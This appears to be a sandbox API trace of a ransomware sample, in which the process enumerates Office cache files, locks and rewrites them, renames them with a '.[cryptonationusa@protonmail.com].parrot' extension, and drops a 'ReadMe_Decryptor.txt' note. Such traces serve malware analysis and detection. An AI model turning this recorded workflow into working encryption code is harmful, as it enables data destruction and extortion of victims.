ftLastAccessTime.dwLowDateTime=0xaaecf180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaaecf180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.023] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa873c3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x263518, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="POWERP~1.PAR")) returned 1 [0045.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x607370 [0045.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x607370 | out: hHeap=0x540000) returned 1 [0045.024] lstrcmpW (lpString1="PowerPointMUI.msi.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5eaa20 [0045.024] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa92d6f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="POWERP~2.PAR")) returned 1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x607370 [0045.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x607370 | out: hHeap=0x540000) returned 1 [0045.024] lstrcmpW (lpString1="PowerPointMUI.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0045.024] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaae36c00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x431a3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PPTLRC~1.PAR")) returned 1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0045.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0045.024] lstrcmpW (lpString1="PptLR.cab.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1040 [0045.024] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8dee1a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa8dee1a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xab025de0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0045.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.024] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0045.024] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaaecf180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0045.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0045.024] lstrcmpW (lpString1="Setup.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0045.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1138 [0045.024] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaaecf180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0045.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0045.024] FindClose (in: hFindFile=0x5dad60 | out: hFindFile=0x5dad60) returned 1 [0045.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562260 | out: hHeap=0x540000) returned 1 [0045.026] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0045.027] lstrcmpW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0045.027] lstrcmpW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0045.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fc998 [0045.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5622e8 | out: hHeap=0x540000) returned 1 [0045.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fca20 [0045.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x28d5988 [0045.028] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5daca0 [0045.491] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.491] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.507] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.507] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.507] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0045.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.507] lstrcmpW (lpString1="PublisherMUI.msi", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0045.636] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x265c00 [0045.636] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x265d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0045.636] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0045.636] ReadFile (in: hFile=0x310, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0045.638] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0045.642] ReadFile (in: hFile=0x310, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0045.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0045.657] GetLastError () returned 0x0 [0045.657] SetLastError (dwErrCode=0x0) [0045.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0045.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0045.657] GetLastError () returned 0x0 [0045.657] SetLastError (dwErrCode=0x0) [0045.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.658] GetLastError () returned 0x0 [0045.658] SetLastError (dwErrCode=0x0) [0045.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x2929e18 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x292ae58 [0045.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2929e18 | out: hHeap=0x540000) returned 1 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x62c998 [0045.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292ae58 | out: hHeap=0x540000) returned 1 [0045.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6309d8 [0045.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x62c998 | out: hHeap=0x540000) returned 1 [0045.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x2929e18 [0045.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6309d8 | out: hHeap=0x540000) returned 1 [0045.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x2939e58 [0046.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2929e18 | out: hHeap=0x540000) returned 1 [0046.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x2959e98 [0046.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2939e58 | out: hHeap=0x540000) returned 1 [0046.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0046.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2959e98 | out: hHeap=0x540000) returned 1 [0046.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x34b0020 [0046.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x26c0020 | out: hHeap=0x540000) returned 1 [0046.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0046.552] GetLastError () returned 0x0 [0046.552] SetLastError (dwErrCode=0x0) [0046.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0046.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0046.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0046.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0046.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0046.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0046.554] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d5ba0 [0046.554] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0046.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5ba0 | out: hHeap=0x540000) returned 1 [0046.554] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.555] WriteFile (in: hFile=0x310, lpBuffer=0x562228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x562228*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0046.555] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.555] WriteFile (in: hFile=0x310, lpBuffer=0x34b0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x34b0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0046.558] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x265d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0046.558] CloseHandle (hObject=0x310) returned 1 [0046.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0046.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1230 [0046.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0046.855] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0047.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1230 | out: hHeap=0x540000) returned 1 [0047.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0047.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x34b0020 | out: hHeap=0x540000) returned 1 [0047.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0047.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0047.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0047.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0047.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0047.118] GetFileType (hFile=0x320) returned 0x1 [0047.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0047.128] lstrcmpW (lpString1="PublisherMUI.xml", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.128] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0047.129] GetFileSize (in: hFile=0x320, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x5aa [0047.129] LockFile (hFile=0x320, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.129] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0047.129] ReadFile (in: hFile=0x320, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0047.160] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.160] ReadFile (in: hFile=0x320, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x5aa, lpOverlapped=0x0) returned 1 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0047.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0047.161] GetLastError () returned 0x0 [0047.161] SetLastError (dwErrCode=0x0) [0047.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0047.161] GetLastError () returned 0x0 [0047.161] SetLastError (dwErrCode=0x0) [0047.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.161] GetLastError () returned 0x0 [0047.161] SetLastError (dwErrCode=0x0) [0047.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 